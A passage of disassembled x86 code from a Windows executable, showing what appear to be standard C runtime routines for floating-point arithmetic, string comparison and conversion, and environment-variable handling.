=============== S U B R O U T I N E ======================================= sub_41FF4A proc near ; CODE XREF: sub_41F310+8Bp ; sub_41F310+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, ds:dword_4CA4C0 jnb short loc_41FFB1 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_4CA3C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41FFB1 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41FF8A and cl, 7Fh jmp short loc_41FF97 ; --------------------------------------------------------------------------- loc_41FF8A: ; CODE XREF: sub_41FF4A+39j cmp [esp+4+arg_4], 4000h jnz short loc_41FFA5 or cl, 80h loc_41FF97: ; CODE XREF: sub_41FF4A+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41FFA5: ; CODE XREF: sub_41FF4A+48j mov ds:dword_4C9084, 16h jmp short loc_41FFBB ; --------------------------------------------------------------------------- loc_41FFB1: ; CODE XREF: sub_41FF4A+Bj ; sub_41FF4A+27j mov ds:dword_4C9084, 9 loc_41FFBB: ; CODE XREF: sub_41FF4A+65j or eax, 0FFFFFFFFh pop esi retn sub_41FF4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FFC0 proc near ; CODE XREF: sub_41FAC8+165p ; sub_4201E0+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_4201C0 cmp cx, 7FFFh jnb loc_4201C0 cmp dx, 0BFFDh ja loc_4201C0 cmp dx, 3FBFh ja short loc_420029 xor eax, eax jmp short loc_420063 ; --------------------------------------------------------------------------- loc_420029: ; CODE XREF: sub_41FFC0+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_42004B inc [ebp+arg_0] test [esi+8], edx jnz short loc_42004B xor eax, eax cmp [esi+4], eax jnz short loc_42004D cmp [esi], eax jnz short loc_42004D jmp loc_4201BA ; --------------------------------------------------------------------------- loc_42004B: ; CODE XREF: sub_41FFC0+71j ; sub_41FFC0+79j xor eax, eax loc_42004D: ; CODE XREF: sub_41FFC0+80j ; sub_41FFC0+84j cmp cx, ax jnz short loc_420070 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_420070 cmp [ebx+4], eax jnz short loc_420070 cmp [ebx], eax jnz short loc_420070 loc_420063: ; CODE XREF: sub_41FFC0+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_4201DB ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FFC0+90j ; sub_41FFC0+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_420080: ; CODE XREF: sub_41FFC0+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_4200D4 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_42009C: ; CODE XREF: sub_41FFC0+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41F456 add esp, 0Ch test eax, eax jz short loc_4200C7 mov eax, [ebp+var_4] inc word ptr [eax] loc_4200C7: ; CODE XREF: sub_41FFC0+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_42009C loc_4200D4: ; CODE XREF: sub_41FFC0+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_420080 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_420117 loc_4200F2: ; CODE XREF: sub_41FFC0+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_420110 lea eax, [ebp+var_24] push eax call sub_41F4D5 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_4200F2 loc_420110: ; CODE XREF: sub_41FFC0+136j cmp word ptr [ebp+arg_0], 0 jg short loc_420150 loc_420117: ; CODE XREF: sub_41FFC0+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_420150 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_420130: ; CODE XREF: sub_41FFC0+184j test byte ptr [ebp+var_24], 1 jz short loc_420139 inc [ebp+var_14] loc_420139: ; CODE XREF: sub_41FFC0+174j lea eax, [ebp+var_24] push eax call sub_41F503 dec ebx pop ecx jnz short loc_420130 cmp [ebp+var_14], 0 jz short loc_420150 or byte ptr [ebp+var_24], 1 loc_420150: ; CODE XREF: sub_41FFC0+155j ; sub_41FFC0+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_420167 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_42019C loc_420167: ; CODE XREF: sub_41FFC0+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_420199 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_420194 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_42018E inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_42019C ; --------------------------------------------------------------------------- loc_42018E: ; CODE XREF: sub_41FFC0+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_42019C ; --------------------------------------------------------------------------- loc_420194: ; CODE XREF: sub_41FFC0+1B5j inc [ebp+var_20+2] jmp short loc_42019C ; --------------------------------------------------------------------------- loc_420199: ; CODE XREF: sub_41FFC0+1ABj inc [ebp+var_24+2] loc_42019C: ; CODE XREF: sub_41FFC0+1A5j ; sub_41FFC0+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_4201C0 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_4201BA: ; CODE XREF: sub_41FFC0+86j mov [esi+0Ah], ax jmp short loc_4201DB ; --------------------------------------------------------------------------- loc_4201C0: ; CODE XREF: sub_41FFC0+42j ; sub_41FFC0+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_4201DB: ; CODE XREF: sub_41FFC0+ABj ; sub_41FFC0+1FEj pop edi pop esi pop ebx leave retn sub_41FFC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201E0 proc near ; CODE XREF: sub_41F5F7+440p ; sub_41FAC8+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_431E50 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_420259 jge short loc_420208 mov eax, [ebp+arg_4] mov ebx, offset dword_431FB0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_420208: ; CODE XREF: sub_4201E0+16j cmp [ebp+arg_8], ecx jnz short loc_420213 mov eax, [ebp+arg_0] mov [eax], cx loc_420213: ; CODE XREF: sub_4201E0+2Bj cmp [ebp+arg_4], ecx jz short loc_420259 push esi push edi loc_42021A: ; CODE XREF: sub_4201E0+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_420252 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_420245 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_420245: ; CODE XREF: sub_4201E0+57j push esi push [ebp+arg_0] call sub_41FFC0 pop ecx pop ecx xor ecx, ecx loc_420252: ; CODE XREF: sub_4201E0+49j cmp [ebp+arg_4], ecx jnz short loc_42021A pop edi pop esi loc_420259: ; CODE XREF: sub_4201E0+14j ; sub_4201E0+36j pop ebx leave retn sub_4201E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42025C proc near ; CODE XREF: sub_41FECD+5Ep ; sub_420738+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_420269 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_420269: ; CODE XREF: sub_42025C+7j push ds:dword_4CA4C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push ds:dword_4CA6E4 call sub_420309 add esp, 1Ch test eax, eax jnz short loc_420296 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_420296: ; CODE XREF: sub_42025C+31j add eax, 0FFFFFFFEh pop ebp retn sub_42025C endp ; =============== S U B R O U T I N E ======================================= sub_42029B proc near ; CODE XREF: sub_41FECD+1Ep ; sub_4205B1+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, ds:dword_4C90B4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_4202FC mov ebx, ds:dword_422130 loc_4202B4: ; CODE XREF: sub_42029B+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx ; WideCharToMultiByte mov ebp, eax cmp ebp, edi jz short loc_420304 push ebp call sub_415D2F cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_420304 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx ; WideCharToMultiByte test eax, eax jz short loc_420304 push edi push [esp+18h+var_4] call sub_4205B1 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_4202B4 loc_4202FC: ; CODE XREF: sub_42029B+11j xor eax, eax loc_4202FE: ; CODE XREF: sub_42029B+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_420304: ; CODE XREF: sub_42029B+29j ; sub_42029B+38j ... or eax, 0FFFFFFFFh jmp short loc_4202FE sub_42029B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420309 proc near ; CODE XREF: sub_42025C+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_422C70 push offset sub_41D894 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp ds:dword_4C9370, ebx push 1 pop edi jnz short loc_42037C push edi mov eax, offset dword_4228C0 push eax push edi push eax push ebx push ebx call ds:dword_422008 ; CompareStringW test eax, eax jz short loc_420359 mov ds:dword_4C9370, edi jmp short loc_42037C ; --------------------------------------------------------------------------- loc_420359: ; CODE XREF: sub_420309+46j push edi mov eax, offset dword_4325D4 push eax push edi push eax push ebx push ebx call ds:dword_42200C ; CompareStringA test eax, eax jz loc_420572 mov ds:dword_4C9370, 2 loc_42037C: ; CODE XREF: sub_420309+31j ; sub_420309+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_420393 push esi push [ebp+arg_8] call sub_420586 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_420393: ; CODE XREF: sub_420309+78j cmp [ebp+arg_14], ebx jle short loc_4203A8 push [ebp+arg_14] push [ebp+arg_10] call sub_420586 pop ecx pop ecx mov [ebp+arg_14], eax loc_4203A8: ; CODE XREF: sub_420309+8Dj mov eax, ds:dword_4C9370 cmp eax, 2 jnz short loc_4203CD push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_42200C ; CompareStringA jmp loc_420574 ; --------------------------------------------------------------------------- loc_4203CD: ; CODE XREF: sub_420309+A7j cmp eax, edi jnz loc_420572 cmp [ebp+arg_18], ebx jnz short loc_4203E2 mov eax, ds:dword_4C912C mov [ebp+arg_18], eax loc_4203E2: ; CODE XREF: sub_420309+CFj cmp esi, ebx jz short loc_4203EF cmp [ebp+arg_14], ebx jnz loc_420487 loc_4203EF: ; CODE XREF: sub_420309+DBj cmp esi, [ebp+arg_14] jnz short loc_4203FC loc_4203F4: ; CODE XREF: sub_420309+13Cj ; sub_420309+16Dj push 2 loc_4203F6: ; CODE XREF: sub_420309+146j pop eax jmp loc_420574 ; --------------------------------------------------------------------------- loc_4203FC: ; CODE XREF: sub_420309+E9j cmp [ebp+arg_14], edi jle short loc_420408 loc_420401: ; CODE XREF: sub_420309+151j ; sub_420309+159j ... mov eax, edi jmp loc_420574 ; --------------------------------------------------------------------------- loc_420408: ; CODE XREF: sub_420309+F6j cmp esi, edi jg short loc_42044D lea eax, [ebp+var_3C] push eax push [ebp+arg_18] call ds:dword_4221B4 ; GetCPInfo test eax, eax jz loc_420572 cmp esi, ebx jle short loc_420451 cmp [ebp+var_3C], 2 jb short loc_42044D lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_42044D loc_420433: ; CODE XREF: sub_420309+142j mov dl, [eax+1] cmp dl, bl jz short loc_42044D mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_420447 cmp cl, dl jbe short loc_4203F4 loc_420447: ; CODE XREF: sub_420309+138j inc eax inc eax cmp [eax], bl jnz short loc_420433 loc_42044D: ; CODE XREF: sub_420309+101j ; sub_420309+120j ... push 3 jmp short loc_4203F6 ; --------------------------------------------------------------------------- loc_420451: ; CODE XREF: sub_420309+11Aj cmp [ebp+arg_14], ebx jle short loc_420487 cmp [ebp+var_3C], 2 jb short loc_420401 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_420401 loc_420464: ; CODE XREF: sub_420309+177j mov dl, [eax+1] cmp dl, bl jz short loc_420401 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_42047C cmp cl, dl jbe loc_4203F4 loc_42047C: ; CODE XREF: sub_420309+169j inc eax inc eax cmp [eax], bl jnz short loc_420464 jmp loc_420401 ; --------------------------------------------------------------------------- loc_420487: ; CODE XREF: sub_420309+E0j ; sub_420309+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call ds:dword_422134 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp eax, ebx jz loc_420572 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4204D6 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4204D6: ; CODE XREF: sub_420309+1B5j cmp [ebp+var_24], ebx jz loc_420572 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, ds:dword_422134 call esi ; MultiByteToWideChar test eax, eax jz short loc_420572 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi ; MultiByteToWideChar mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_420572 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D00 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_420541 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_420541: ; CODE XREF: sub_420309+224j cmp edi, ebx jz short loc_420572 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call ds:dword_422134 ; MultiByteToWideChar test eax, eax jz short loc_420572 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_422008 ; CompareStringW jmp short loc_420574 ; --------------------------------------------------------------------------- loc_420572: ; CODE XREF: sub_420309+63j ; sub_420309+C6j ... xor eax, eax loc_420574: ; CODE XREF: sub_420309+BFj ; sub_420309+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_420309 endp ; =============== S U B R O U T I N E ======================================= sub_420586 proc near ; CODE XREF: sub_41C829+81p ; sub_420309+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4205A3 loc_420596: ; CODE XREF: sub_420586+1Bj cmp byte ptr [eax], 0 jz short loc_4205A3 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_420596 loc_4205A3: ; CODE XREF: sub_420586+Ej ; sub_420586+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4205AE sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4205AE: ; CODE XREF: sub_420586+21j mov eax, edx retn sub_420586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4205B1 proc near ; CODE XREF: sub_42029B+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_420615 push 3Dh push [ebp+arg_0] call sub_4207F7 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_420615 cmp [ebp+arg_0], esi jz short loc_420615 mov eax, ds:dword_4C90AC xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, ds:dword_4C90B0 jnz short loc_4205FB push eax call sub_420790 pop ecx mov ds:dword_4C90AC, eax loc_4205FB: ; CODE XREF: sub_4205B1+3Cj cmp eax, edi jnz short loc_420653 cmp [ebp+arg_4], edi jz short loc_42061D cmp ds:dword_4C90B4, edi jz short loc_42061D call sub_42029B test eax, eax jz short loc_420653 loc_420615: ; CODE XREF: sub_4205B1+Dj ; sub_4205B1+22j ... or eax, 0FFFFFFFFh loc_420618: ; CODE XREF: sub_4205B1+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42061D: ; CODE XREF: sub_4205B1+51j ; sub_4205B1+59j cmp ebx, edi jnz loc_420731 push 4 call sub_415D2F cmp eax, edi pop ecx mov ds:dword_4C90AC, eax jz short loc_420615 mov [eax], edi cmp ds:dword_4C90B4, edi jnz short loc_420653 push 4 call sub_415D2F cmp eax, edi pop ecx mov ds:dword_4C90B4, eax jz short loc_420615 mov [eax], edi loc_420653: ; CODE XREF: sub_4205B1+4Cj ; sub_4205B1+62j ... sub esi, [ebp+arg_0] mov edi, ds:dword_4C90AC mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_420738 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4206B3 cmp dword ptr [edi], 0 jz short loc_4206B3 test ebx, ebx jz short loc_4206AB push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_415DE1 pop ecx loc_420685: ; CODE XREF: sub_4205B1+E2j cmp dword ptr [edi], 0 jz short loc_420695 mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_420685 ; --------------------------------------------------------------------------- loc_420695: ; CODE XREF: sub_4205B1+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41756F pop ecx test eax, eax pop ecx jz short loc_4206E5 jmp short loc_4206E0 ; --------------------------------------------------------------------------- loc_4206AB: ; CODE XREF: sub_4205B1+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4206E5 ; --------------------------------------------------------------------------- loc_4206B3: ; CODE XREF: sub_4205B1+BDj ; sub_4205B1+C2j test ebx, ebx jnz short loc_420731 test esi, esi jge short loc_4206BD neg esi loc_4206BD: ; CODE XREF: sub_4205B1+108j lea eax, ds:8[esi*4] push eax push edi call sub_41756F pop ecx test eax, eax pop ecx jz loc_420615 mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4206E0: ; CODE XREF: sub_4205B1+F8j mov ds:dword_4C90AC, eax loc_4206E5: ; CODE XREF: sub_4205B1+F6j ; sub_4205B1+100j cmp [ebp+arg_4], 0 jz short loc_420731 push [ebp+arg_0] call sub_415C80 inc eax inc eax push eax call sub_415D2F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_420731 push [ebp+arg_0] push esi call sub_415B90 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call ds:dword_422004 ; SetEnvironmentVariableA push esi call sub_415DE1 pop ecx loc_420731: ; CODE XREF: sub_4205B1+6Ej ; sub_4205B1+104j ... xor eax, eax jmp loc_420618 sub_4205B1 endp ; =============== S U B R O U T I N E ======================================= sub_420738 proc near ; CODE XREF: sub_4205B1+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ds:dword_4C90AC push edi mov eax, [esi] test eax, eax jz short loc_420773 mov edi, [esp+8+arg_4] loc_42074A: ; CODE XREF: sub_420738+39j push edi push eax push [esp+10h+arg_0] call sub_42025C add esp, 0Ch test eax, eax jnz short loc_420769 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_420783 test al, al jz short loc_420783 loc_420769: ; CODE XREF: sub_420738+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_42074A loc_420773: ; CODE XREF: sub_420738+Cj mov eax, esi sub eax, ds:dword_4C90AC sar eax, 2 neg eax loc_420780: ; CODE XREF: sub_420738+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_420783: ; CODE XREF: sub_420738+2Bj ; sub_420738+2Fj mov eax, esi sub eax, ds:dword_4C90AC sar eax, 2 jmp short loc_420780 sub_420738 endp ; =============== S U B R O U T I N E ======================================= sub_420790 proc near ; CODE XREF: sub_4205B1+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_42079F xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_42079F: ; CODE XREF: sub_420790+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4207B1 loc_4207A7: ; CODE XREF: sub_420790+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4207A7 loc_4207B1: ; CODE XREF: sub_420790+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415D2F mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4207D2 push 9 call sub_417DFA pop ecx loc_4207D2: ; CODE XREF: sub_420790+38j mov eax, [edi] mov ebx, edi loc_4207D6: ; CODE XREF: sub_420790+5Bj test eax, eax jz short loc_4207ED push eax add ebx, 4 call sub_42086A mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4207D6 ; --------------------------------------------------------------------------- loc_4207ED: ; CODE XREF: sub_420790+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_420790 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207F7 proc near ; CODE XREF: sub_4205B1+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp ds:dword_4CA4DC, 0 jnz short loc_420812 push [ebp+arg_4] push [ebp+arg_0] call sub_417070 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_420812: ; CODE XREF: sub_4207F7+Aj mov ecx, [ebp+arg_0] loc_420815: ; CODE XREF: sub_4207F7+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_420858 movzx edx, al test ds:byte_4CA5E1[edx], 4 jz short loc_420844 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_42084F movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_420853 jmp short loc_42084C ; --------------------------------------------------------------------------- loc_420844: ; CODE XREF: sub_4207F7+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_420858 loc_42084C: ; CODE XREF: sub_4207F7+4Bj inc ecx jmp short loc_420815 ; --------------------------------------------------------------------------- loc_42084F: ; CODE XREF: sub_4207F7+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_420853: ; CODE XREF: sub_4207F7+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_420858: ; CODE XREF: sub_4207F7+25j ; sub_4207F7+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4207F7 endp ; =============== S U B R O U T I N E ======================================= sub_42086A proc near ; CODE XREF: sub_408E1D+21p ; sub_420790+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_420891 push esi call sub_415C80 inc eax push eax call sub_415D2F pop ecx test eax, eax pop ecx jz short loc_420891 push esi push eax call sub_415B90 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086A+7j ; sub_42086A+1Aj xor eax, eax pop esi retn sub_42086A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4208A0 proc near ; CODE XREF: sub_420983+19p ; sub_420AAA+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_415C80 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_403870 mov eax, esi pop esi retn 8 sub_4208A0 endp ; =============== S U B R O U T I N E ======================================= sub_4208CA proc near ; CODE XREF: _0:004208F5p ; sub_420978+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_422C8C call sub_403834 mov ecx, esi pop esi jmp sub_420CC0 sub_4208CA endp ; =============== S U B R O U T I N E ======================================= sub_4208E5 proc near ; DATA XREF: _1:00422C90o _1:00422CA0o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4208F1 mov eax, offset dword_422278 locret_4208F1: ; CODE XREF: sub_4208E5+5j retn sub_4208E5 endp ; --------------------------------------------------------------------------- loc_4208F2: ; DATA XREF: _1:off_422C8Co push esi mov esi, ecx call sub_4208CA test byte ptr [esp+8], 1 jz short loc_420908 push esi call sub_416457 pop ecx loc_420908: ; CODE XREF: _0:004208FFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42090E proc near ; CODE XREF: sub_420983+29p mov eax, offset loc_42123E call sub_416438 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_422CA8 call sub_420C39 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_422C8C call sub_4209C0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_422C9C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_42090E endp ; =============== S U B R O U T I N E ======================================= sub_42095C proc near ; DATA XREF: _1:off_422C9Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_420978 test [esp+4+arg_0], 1 jz short loc_420972 push esi call sub_416457 pop ecx loc_420972: ; CODE XREF: sub_42095C+Dj mov eax, esi pop esi retn 4 sub_42095C endp ; =============== S U B R O U T I N E ======================================= sub_420978 proc near ; CODE XREF: sub_42095C+3p ; DATA XREF: _1:00423014o mov dword ptr [ecx], offset off_422C9C jmp sub_4208CA sub_420978 endp ; =============== S U B R O U T I N E ======================================= sub_420983 proc near ; CODE XREF: sub_4036E1+13p ; sub_4038A5+Ep mov eax, offset loc_421250 call sub_416438 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_4208A0 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_42090E push offset dword_423010 lea eax, [ebp-3Ch] push eax call sub_420CE3 int 3 ; Trap to Debugger sub_420983 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4209C0 